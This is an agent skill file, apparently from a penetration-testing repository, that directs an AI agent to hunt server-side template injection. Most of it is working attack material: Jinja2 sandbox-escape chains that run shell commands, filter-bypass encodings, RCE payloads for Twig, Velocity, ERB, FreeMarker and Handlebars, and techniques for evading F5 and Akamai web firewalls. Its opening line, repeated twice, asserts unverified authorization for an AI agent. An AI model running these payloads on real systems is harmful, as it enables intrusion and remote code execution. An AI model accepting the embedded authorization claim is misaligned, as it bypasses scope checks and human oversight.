ssti-hunter
$
npx mdskill add H-mmer/pentest-agents/ssti-hunterCONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.
SKILL.md
.github/skills/ssti-hunterView on GitHub ↗
---
name: ssti-hunter
description: "Server-Side Template Injection specialist. Covers Jinja2 (H1 #74), Twig, Velocity, FreeMarker, ERB, Handlebars, Thymeleaf. Use for any rule-engine, comment/message rendering, PR automation, admin template, or user-customizable template surface. Systematic blocklist mapper + CVE bypass runner + runtime-vs-parse distinguisher."
---
CONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.
## MANDATORY: Research First (not optional)
Before testing, you MUST call:
- `search_techniques` with "ssti" — proven exploitation techniques
- `search_payloads` with "ssti" — curated payload list
- `search_writeups` with "jinja2 sandbox bypass SSTI" — recent CVE and CTF writeups
Read returned content and incorporate proven techniques into your plan before making any HTTP requests. Skipping wastes time reinventing tricks from 2019. Fall back to `rules/payloads.md` if the MCP is unreachable.
## MANDATORY: Disk-first discipline
Every probe matrix + result goes to `evidence/<target>/ssti/`. Non-negotiable — losing a blocklist map to a fresh session is a huge waste.
## Detection Phase (always first)
Confirm engine type via polyglot probe. Response tells you the engine:
| Payload | Jinja2/Flask | Twig | Velocity | FreeMarker | ERB |
|---|---|---|---|---|---|
| `{{7*7}}` | 49 | 49 | | | |
| `{{7*'7'}}` | 7777777 | 49 | | | |
| `${7*7}` | | | 49 | 49 | |
| `#{7*7}` | | | | | 49 |
| `<%= 7*7 %>` | | | | | 49 |
If `{{7*7}}` renders `49` → Jinja2 family. Move to Section "Jinja2 Deep Attack".
Test the sink rendering — not just parse success. In Mergify-style rule engines, `/configuration-simulator` only PARSES; `/pulls/{n}/simulator` RENDERS. Only the renderer will leak values from successful SSTI.
## Jinja2 Deep Attack
### Step 1: Characterize the sandbox
Hardened Jinja2 sandboxes use custom `is_safe_attribute` overrides. Before running RCE payloads, map the blocklist:
```
# On a CLASS (so __mro__ etc exist):
for attr in __class__ __mro__ __bases__ __base__ __subclasses__ \
__init__ __new__ __dict__ __globals__ __builtins__ \
__module__ __name__ __qualname__ __code__ __closure__ \
__defaults__ __kwdefaults__ __annotations__ __doc__ \
__reduce__ __reduce_ex__ __getstate__ __setstate__ \
__subclasshook__ __instancecheck__ __subclasscheck__ \
__format__ __hash__ __sizeof__ __dir__ __getattribute__ \
__call__ __repr__ __str__ __eq__ __ne__ \
__class_getitem__ __init_subclass__ __self__ __func__ \
__wrapped__ __text_signature__ __weakref__ \
mro subclasses bases name qualname base \
; do
echo "TEST: {{ SOMECLASS|attr('$attr') }}"
done
```
Classify each:
- `"invalid template"` → **BLOCKED** by sandbox (blocklist hit)
- `"'X object' has no attribute 'Y'"` → attribute doesn't exist on target type (test on different type)
- Value rendered → **ALLOWED** — this is your attack path
Write the map to `evidence/<target>/ssti/blocklist-map.md`.
### Step 2: Find the gap
The WHOLE attack is finding ONE attribute that:
1. Passes `is_safe_attribute` (not in blocklist)
2. Exists on a reachable object
3. Resolves to something you can chain to arbitrary code
Common gaps in hand-hardened blocklists:
- **Non-dunder `mro` on classes** — default Jinja doesn't block; some hardened (Mergify) do. Always test.
- **Private mangled names**: `_Cycler__items`, `_Namespace__attrs`, `_TemplateReference__context` — sometimes missed
- **Python 3.7+ additions**: `__class_getitem__`, `__match_args__`, `__type_params__` — often overlooked
- **Frame/code/generator internals**: `cr_frame`, `gi_frame`, `f_globals`, `co_code` — if you can reach a coroutine/frame, these may be allowed
- **Method descriptor `__objclass__`**: reveals class from method_descriptor → some sandboxes miss this
### Step 3: Confirmed working primitives (CVE-based)
#### CVE-2025-27516 / CVE-2024-56326 — |attr('format') unsafe format
- Jinja ≤ 3.1.5: `|attr('format')` returns raw `str.format` bypassing `SandboxedFormatter`
- Test with NON-DUNDER first to confirm primitive works:
```
{{ '{0.real}'|attr('format')(7) }} # expected: '7'
{{ '{0.bit_length}'|attr('format')(7) }} # expected: <method bit_length...>
```
- If non-dunder works but dunder triggers sandbox → target has **additional** layer wrapping format. Primitive is still useful for method-reference leaks.
- If non-dunder AND dunder work → you have full RCE via `{{ '{0.__class__.__mro__[-1].__subclasses__()[N](...cmd...)}'|attr('format')(lipsum) }}`
#### CVE-2019-10906 — older str.format sandbox escape
- `{{ ''.format('{0.__class__}')(x) }}` — works on Jinja < 2.10.1
- Unlikely on modern targets but try once.
#### CVE-2024-22195 / CVE-2024-34064 / CVE-2024-56201 — xmlattr / compile
- `|xmlattr` with attribute-name injection: `{{ {'a b':'v'}|xmlattr }}` — mainly useful for XSS-via-template, not RCE.
### Step 4: Classic chain (if blocklist has gaps)
```
# Baseline
{{ ''.__class__.__mro__[-1].__subclasses__() }}
# Via joiner (if reachable as class)
{{ joiner.__mro__[-1].__subclasses__() }}
# Via |attr chain
{{ joiner|attr('__mro__')|last|attr('__subclasses__')() }}
# RCE via Popen (subclass index varies by Python version)
{{ ''.__class__.__mro__[-1].__subclasses__()[POPEN_IDX]('id', shell=True, stdout=-1).communicate()[0] }}
# RCE via function globals
{{ lipsum.__globals__['os'].popen('id').read() }}
# RCE via config (Flask)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ config.__class__.from_envvar.__globals__['import_string']('os').popen('id').read() }}
# RCE via request application (Flask)
{{ request.application.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
# Fully hex-escaped (defeat simple substring filters)
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
```
### Step 5: Filter-bypass encoding arsenal
When a source-level regex filter blocks `__class__`/`__globals__`/etc.:
```
# 1. Bracket vs dot (defeats `.__class__` pattern)
{{ ''['__class__'] }}
{{ lipsum['__globals__'] }}
# 2. |attr filter (defeats `.__attr__` pattern)
{{ ''|attr('__class__') }}
# 3. Hex-escaped underscores (defeats literal string match)
{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f') }}
# 4. Unicode escapes (Jinja decodes same as hex)
{{ lipsum|attr('__globals__') }}
# 5. String construction at runtime (defeats const folding IF using context variable)
{% set k = request.args.get('u','__') + 'class' + request.args.get('u','__') %}
{{ ''|attr(k) }}
# 6. Concat with filter to prevent const-folding
{% set k = 'CLASS'|lower %}{{ ''|attr('__' + k + '__') }}
# 7. |format filter to build dunder string
{{ ''|attr('%s%sglobals%s%s'|format('_','_','_','_')) }}
# 8. getlist/getitem via nested filters (from HackTricks)
{{ request|attr([request.args.usc*2, request.args.class, request.args.usc*2]|join) }}
```
### Step 6: Statement-tag bypasses (when `{{ }}` is blocked)
```
{% print(lipsum.__globals__.os.popen('id').read()) %}
{% if 7*7 == 49 %}OK{% endif %}
{% for x in [1] %}{{ x }}{% endfor %}
{% set x = lipsum.__globals__.os.popen('id').read() %}{{ x }}
```
### Step 7: Encoding tricks (for regex filters)
```
# YAML-level escapes (before Jinja parse)
message: "{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}" # YAML decodes \x in double-quote → '__class__'
message: '{{ ''|attr(''\\x5f\\x5fclass\\x5f\\x5f'') }}' # YAML single-quote preserves backslash
# Base64 (requires decode filter)
{{ 'X19nbG9iYWxzX18='|b64decode }} # returns '__globals__' if filter exists
# Unicode homoglyphs — PROBE ONLY (Python getattr is strict)
{{ lipsum|attr('__сlass__') }} # Cyrillic с → passes string-equality blocklist but fails getattr
```
## Twig (PHP)
```
# _self-based RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Via filter
{{"id"|filter("system")}}
# Map of classes
{{app.getRequest().server.get("DOCUMENT_ROOT")}}
```
## Velocity (Java)
```
#set($rt = $x.class.forName('java.lang.Runtime'))
#set($proc = $rt.getRuntime().exec('id'))
#set($is = $proc.getInputStream())
$is
```
## ERB (Ruby)
```
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read() %>
```
## FreeMarker (Java)
```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
```
## Handlebars
```
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}} {{this.push (lookup string.sub "constructor")}}
{{/with}}
{{/with}}
{{/with}}
```
## F5 BIG-IP ASM Bypass — when `${...}` is soft-blocked
If a target is fronted by F5 BIG-IP ASM, the standard `${7*7}` probe will return HTTP 200 with body length **101** and content `<html><head><title>Request Rejected</title></head>...`. That's the F5 ASM **soft-block** for the EL/SSTI signature — NOT a 403, do not misclassify as "endpoint not vulnerable." Detect by body fingerprint, not status code.
**Cookies confirming F5 ASM in front:** `TS019d407a` / `TS01ee32dc` / similar `TS[a-f0-9]{8}` pattern, `lb-N-p-NNN` persistence cookies.
The F5 rule is **start-anchored on the literal `${`** after URL-decoding once. Validated bypass primitives (raw-socket verified 2026-05 against banking-grade F5 ASM deployment — see `rules/payloads.md` "F5 BIG-IP ASM Bypass Primitives" section for full list with curl examples):
### Tier 1 — try first (most reliable, simplest)
1. **JSON Content-Type smuggling** (Bugtraq 2015, F5 acknowledged "no fix in near term"):
```http
POST /target/endpoint HTTP/1.1
Host: target
Content-Type: application/json
Content-Length: 16
q=%24%7B7%2A7%7D
```
F5 routes through JSON parser, which doesn't URL-decode → rule misses. Backend gets the body. Works on `application/json`, `text/json`, `application/vnd.api+json`, `application/hal+json`, `application/ld+json` — anything containing the substring `json`.
2. **Header smuggling** — F5 does NOT inspect these for the `${...}` rule:
- `User-Agent: Mozilla/5.0 ${7*7} test`
- `Cookie: tracking=${7*7}`
- `Accept-Language: en-US,${7*7}`
- F5 DOES inspect: `Referer`, `Origin`, `X-Forwarded-*`, `X-Real-IP`, `True-Client-IP`, `X-Originating-IP`, `Forwarded`, custom `X-*` headers — don't try those.
3. **Alternative engine syntax** — F5's regex doesn't match these (no `${` substring or `${` not at start):
- Twig/Jinja/Handlebars: `{{7*7}}`
- Thymeleaf: `*{7*7}` or `[[${7*7}]]`
- Velocity: `#set($x=7*7)$x`
- Razor: `@(7*7)` or `@{var x=7*7;}@x`
- ERB: `<%= 7*7 %>` or `<%-= 7*7 -%>`
- FreeMarker: `<#assign x=7*7>${x}` (the `<#assign>` prefix means F5 doesn't anchor — `${x}` slips even though it contains `${`)
- Smarty: `{$x=7*7}{$x}`
- Pug: `#{7*7}` or `!{7*7}`
URL-encode special chars (`{`, `<`, `*`, etc.) before sending to avoid Tomcat URL-parser rejection. F5 still misses the encoded form.
### Tier 2 — encoding tricks (require backend cooperation)
4. **UTF-7 encoded `${7*7}`**: `+ACQAew-7*7+AH0-` — F5 doesn't decode UTF-7. Useful when target Java app (or any UTF-7-decoding stack) reaches the value.
5. **Microsoft IIS-style `%u` encoding**: `?q=%uFE69%uFE5B7*7%uFE5D` (fullwidth `${7*7}`) — F5 doesn't decode `%uXXXX`. Useful on .NET / classic IIS backends.
6. **HTML-entity-then-URL-encoded**: `?q=&%2336;&%23123;7*7&%23125;` — F5 sees ampersand strings, no match. Useful when backend HTML-decodes templated input.
7. **Fullwidth Unicode `$` (U+FF04)**: send as raw UTF-8 `\xef\xbc\x84` — F5 doesn't see `$`. Useful when backend NFKC-normalizes (common in Java input filters).
### What F5 still catches (verified blocked — don't waste time)
- Standard `${...}` anywhere in path or query
- URL-encoded `%24%7B...%7D`, double-URL-encoded `%2524%257B...`
- Whitespace inside braces: `${ 7*7 }`, `${\n7*7\n}`, `${\t7*7\t}`
- Zero-width chars between `$` and `{`: `\x00`, ZWSP, ZWJ, RLO, BOM, soft hyphen, tab, CR
- Path-based: `/api/${7*7}`, `/wb-sessions/${7*7}/config`
- Matrix params: `/path;${7*7}`, `/path;jsessionid=${7*7}`
- HTML-entity-without-URL-encoding (literal `${` still present): `${7*7}`
- Backslash escape: `$\\{7*7\\}`
### Decision tree for an SSTI hunt behind F5 ASM
1. Send standard `?q=${7*7}` → if 101-byte soft-block, F5 confirmed.
2. Try Tier 1.1 (JSON smuggling) on the most-likely Java/Spring target — fastest, most reliable. If body delivered to app → bypass achieved at WAF layer.
3. If endpoint accepts JSON only, Tier 1.3 (alt engine) per detected backend stack.
4. If you can't change Content-Type (GET endpoints), Tier 1.2 (header smuggling) IF target reflects/logs/templates User-Agent or Cookie value.
5. If Tier 1 all fails, Tier 2 (encoding tricks) — only useful if backend does the matching decoder.
6. Bypass alone is informational. Stack with a real templating engine sink to make it a paid finding.
### Akamai (Kona + Bot Manager) — verified NOT bypassable from a flagged source IP
For completeness: TLS fingerprint matching via `curl_cffi` (Chrome/Firefox/Edge/Safari profiles) and real Firefox via `camoufox` both return `Access Denied` (`errors.edgesuite.net` reference) when the source IP is flagged. Akamai blocks via **IP reputation**, not TLS or payload pattern. To bypass Akamai, use a clean residential proxy or rotate to an unflagged IP — not a payload-side problem.
## Testing Methodology
### For any suspected SSTI sink
1. **Context detection** — polyglot probe confirms engine family
2. **Parse vs render distinction** — find the endpoint that actually renders
3. **Sandbox fingerprint** — probe blocklist systematically (Step 1 above). 10 minutes.
4. **CVE attempts** — Step 3 primitives. 10 minutes.
5. **Gap search** — Step 2 per-type blocklist gaps. 30 minutes.
6. **Stop at 90 minutes** if nothing yields. Pivot to non-template vector.
### What to record per attempt
Per payload: source template, YAML wrapper, response body (first 500 chars), classification:
- **CONFIRMED RCE** — command output in response, full chain working
- **CONFIRMED LEAK** — dunder value returned (e.g. `<class 'X'>`)
- **PRIMITIVE** — non-dunder attribute leaked (e.g. `<function str.format at 0x...>`)
- **BLOCKED** — `"invalid template"` sandbox rejection
- **NO-ATTR** — attribute doesn't exist on target (uninformative — test different type)
- **ERROR-LEAK** — Python exception message leaks info (`'X object' has no attribute 'Y'`)
## Brain Integration
Before starting, read brain for existing sandbox maps on this or similar targets:
```
uv run python3 ../../tools/brain.py brief <target>
grep -r "ssti-sandbox-map\|blocklist-map" evidence/
```
After completing, write:
```
uv run python3 ../../tools/brain.py record <target> <status> "ssti-<engine>" "<blocklist-summary + gaps tested + outcome>"
```
For a sandbox with no gaps found:
```
uv run python3 ../../tools/brain.py record <target> exhausted "ssti-jinja2" "Blocklist includes mro; all dunders blocked at is_safe_attribute; |attr('format') CVE works for non-dunder only; no escape path. Pivot recommended."
```
## Output
Report under "Server-Side Template Injection" (H1 #74) if RCE confirmed.
If only LEAK confirmed (no RCE), frame as info disclosure with specific leaked data:
- Memory address (Info) — standalone kill
- Internal class/module names (Info) — standalone kill
- Environment variable / secret via sandbox escape (High/Critical) — submit
If only PARTIAL bypass (non-dunder primitive like CVE-2025-27516 pattern without dunder chain), write up as Info/Low noting CVE correlation. Don't inflate.
Every verdict with source + YAML + response + classification. Terminal outputs aren't reports.
## Top-Tier Operator Standard
SSTI is reportable when attacker input reaches a template interpreter with meaningful capability.
- Fingerprint engine and context first: Jinja2, Twig, Freemarker, Velocity, Liquid, Handlebars, ERB, Go templates, or custom expression language.
- Prove evaluation with arithmetic/string marker, then enumerate sandbox constraints and safe escalation path.
- Separate template evaluation, data disclosure, file read, SSRF, and command execution as different severity tiers.
- Kill reflected braces, client-side rendering, syntax errors without evaluation, and sandboxed arithmetic with no sensitive object access unless the program pays low severity.
- Record template source, payload, rendered response, blocked primitives, bypass attempts, and final capability.
More from H-mmer/pentest-agents
- analyzeAnalyze recon output with AI to suggest high-value targets and attack strategies. Usage: /analyze <target>
- auth-testerAuthentication and session management testing agent. Use for login bypass, session fixation, password reset flow abuse, MFA bypass, OAuth flaws, and privilege escalation testing. Provide the application URL and any credentials for testing.
- autopilotAutonomous hunt orchestrator. INSATIABLE in --autonomous mode: enforces an EXHAUSTION CONTRACT (26 canonical hunter classes, surface probe A-I, depth-engine ≥25 attempts/class, wall-clock floor 90 min/target, PRE-COMPLETION GATE before any summary). No early stops, no clarifying questions, no auxiliary-agent substitution. Usage: /autopilot target.com [--interactive|--autonomous] [--20m-off] [--resume]
- brainManage the engagement brain. Subcommands: 'init' to set up, 'brief <target>' for pre-flight, 'status' for overview, 'exhausted [target]' to see dead ends.
- browser-agentBrowser automation agent for interactive web testing. Use for login flows, multi-step CSRF, stored XSS verification in other user contexts, and any testing that requires browser interaction. Requires Claude in Chrome MCP.
- browser-stealth-agentStealth browser automation agent for targets behind Cloudflare, Akamai, Google, DataDome, or PerimeterX bot detection. Drives the local camofox-browser REST server (Camoufox, C++-patched Firefox) for recon, client-side bug verification, and evidence capture. Prefer this over the Burp-backed browser-agent when the target returns CF interstitials, Turnstile widgets, 403s, or JS challenges to vanilla probes.
- browser-verifierMandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes.
- business-logicBusiness Logic vulnerability specialist (H1 #28, CWE-840/841/639/362). Use for testing workflow bypasses, price manipulation, coupon abuse, MFA/2FA bypass, password-reset bypass, free-trial abuse, race-condition on payment, currency conversion, pre-ATO, role escalation. Standalone is feeder-class on most chains — quantify impact + chain to ATO/financial impact for top dollar.
- chainBuild deep exploit chains — dispatches chain-builder agent. Given bug A, recursively walks the chain graph. Usage: /chain (then describe bug A)
- chain-builderDeep exploit chain builder. Given bug A, recursively walks the chain graph — each confirmed link becomes the new A. No depth limit. Supports 2-link to 10+ link chains. Use when you have any finding that needs escalation.